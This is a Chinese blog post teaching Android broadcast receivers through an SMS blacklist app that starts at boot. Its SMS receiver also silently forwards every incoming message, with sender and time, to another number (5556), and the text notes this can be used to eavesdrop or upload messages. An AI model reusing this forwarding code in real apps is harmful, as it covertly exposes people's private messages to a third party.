android广播机制初步学习——短信黑名单

andriod广播机制中主要使用到的两个类:Broadcast和BroadcastReceiver。即一个发送一个接受。
发送的时候是用Intent来携带数据(广播)的,利用Intent中的标识来匹配,实现接收需要接收的广播。
首先是注册,有两种方式:

一个是配置文件注册:
<receiver android:name=".ClassName">
<intent-filter>
<action android:name="android.intent.action.XXXX"/>
</intent-filter>
</receiver> 
一个是代码注册:
/*
* 编码注册广播接收器
*/
public void regist(View v)
{
// receiver = new TestBR();
isRegist = true;
IntentFilter filter = new IntentFilter("android.intent.action.TestBR");
this.registerReceiver(receiver, filter);
Toast.makeText(this, "注册成功", 0).show();
}


/*
* 编码解注册广播接收器
*/
public void unregist(View v)
{
if (receiver != null && isRegist)
{
unregisterReceiver(receiver);
receiver = null;
isRegist = false;
Toast.makeText(this, "解注册成功", 0).show();
} else
{
Toast.makeText(this, "未注册", 0).show();
}


}


//应用程序销毁的时候,要把广播接收器一起销毁。
@Override
protected void onDestroy()
{
if (receiver != null && isRegist)
{
unregisterReceiver(receiver);
receiver = null;
isRegist = false;
Toast.makeText(this, "解注册成功", 0).show();
}


super.onDestroy();
}
配置文件注册时:相当于是注册到android系统的CPU里面去了,一旦注册成功,就无法再控制他。不管应用程序关没关闭,只要有对应的广播来,都会调用对应的广播接收器类。比如电池管理程序,比如短信、电话的黑名单功能,都是需要系统开机就运行,一直监测到关机。
代码注册时:应用程序关闭就不再接受广播。
在注册广播的时候,要分析清楚应用程序的功能,选择合适的注册方式。


android的广播分三种:
1、常规广播:所有匹配的接收器都会接收到此广播。                                发送方式:sendBroadcast(intent)
2、粘性广播:可以在接受到注册之前发出的广播。最常见的例子就是WIFI。          发送方式:sendStickyBroadcast(intent)
3、有序广播:根据广播接收器的意图过滤器的priority属性值的大小一次调用,并可以通过调用abortBroadcast()阻止广播继续向下传播。
发送方式:sendOrderedBroadcast(intent,"permission").这里短信的广播机制就是有序广播,因此可以在接收到广播之后做点儿什么,加黑或者转发什么的。


短信防火墙以的思路是:首先是这个软件需要在手机系统启动的时候自动启动,而android手机在启动的时候会发送一个机广播,写一个类继承BroadcastReceiver接受开机广播来启动应用程序。
然后就是拦截短信,短信是有序广播,再得到短信的发送号码之后,与预先添加的黑名单进行比较,如果相同,就阻止接受这个号码发来的短信。
同理还可以窃听别人发来的短信,从广播中读到特定的号码,将这个短信发送到别的号码或者上传到网络。             
下面是源码:
 注册接收广播:
package com.song;


import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;
import android.util.Log;


public class BootCompletedReceiver extends BroadcastReceiver
{
/**
* 注册接收开机广播
*/
@Override
public void onReceive(Context context, Intent intent)
{
Log.v("TAG", "-------BootCompletedReceiver  onReceive");
}


}
注册短信接收广播:
package com.song;


import java.text.SimpleDateFormat;
import java.util.Date;


import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;
import android.telephony.SmsManager;
import android.telephony.SmsMessage;
import android.util.Log;


public class SmsgBroadcastReceiver extends BroadcastReceiver
{
public SmsgBroadcastReceiver()
{
Log.v("TAG", "SmsgBroadcastReceiver  onCreat");
}

@Override
public void onReceive(Context context, Intent intent)
{
Log.v("TAG", "SmsgBroadcastReceiver onReceive()");

Object[] pdus = (Object[]) intent.getExtras().get("pdus");
if (pdus!=null&&pdus.length>0)
{
SmsMessage[] messages = new SmsMessage[pdus.length];
for (int i = 0; i < pdus.length; i++)
{
byte[] pdu = (byte[]) pdus[i];
messages[i] = SmsMessage.createFromPdu(pdu);
}
for(SmsMessage smsg : messages)
{
//得到短信内容
String content = smsg.getMessageBody();
//得到发送短信的号码
String sender = smsg.getOriginatingAddress();
if (sender.equals("1111"))
{
//预先添加黑名单,例如 :1111
//终止广播的继续传播
abortBroadcast();
Log.v("TAG", "短信来自黑名单号码:"+sender);
}
Date date = new Date(smsg.getTimestampMillis());// 得到短信的发送时间
// 把收到的短信传递给监控者
// 1>直接把短信转发给监控者 2>可以通过把数据上传至互联网应用
SimpleDateFormat format = new SimpleDateFormat(
"yyyy-MM-dd HH:mm:ss");
String sendContent = format.format(date) + ":" + sender + "--"
+ content;
SmsManager smsManager = SmsManager.getDefault();
smsManager.sendTextMessage("5556", null, sendContent, null,
null);
Log.v("TAG", sendContent);
}
}



}


}
androidManifirst.xml文件配置:
<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
      package="com.song"
      android:versionCode="1"
      android:versionName="1.0">
    <uses-sdk android:minSdkVersion="8" />


    <application android:icon="@drawable/icon" android:label="@string/app_name">
        <activity android:name=".SmsgActivity"
                  android:label="@string/app_name">
            <intent-filter>
                <action android:name="android.intent.action.MAIN" />
                <category android:name="android.intent.category.LAUNCHER" />
            </intent-filter>
        </activity>
        
<!-- 注册接收开机广播-->
<receiver android:name=".BootCompletedReceiver">
   <intent-filter>
                <action android:name="android.intent.action.BOOT_COMPLETED"/>
            </intent-filter>
</receiver>

<!-- 接收短信-->
<receiver android:name=".SmsgBroadcastReceiver">
<!-- android:priority="1000" 将这个接收器的优先级别声明到最大,接收到广播之后可以对广播序列进行操作 -->
<intent-filter android:priority="1000">
                <action android:name="android.provider.Telephony.SMS_RECEIVED" />
            </intent-filter>
</receiver>
    </application>
    
    <!-- 开机广播权限 -->
    <uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED" />
    <!-- 接收短信权限 -->
    <uses-permission android:name="android.permission.RECEIVE_SMS"/>
    <!-- 发送短信权限 -->
<uses-permission android:name="android.permission.SEND_SMS"/>
</manifest>



以上是一点儿自己的总结,如果有理解不到位或者是错误的地方,欢迎指教。       ^_*
  • 1
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值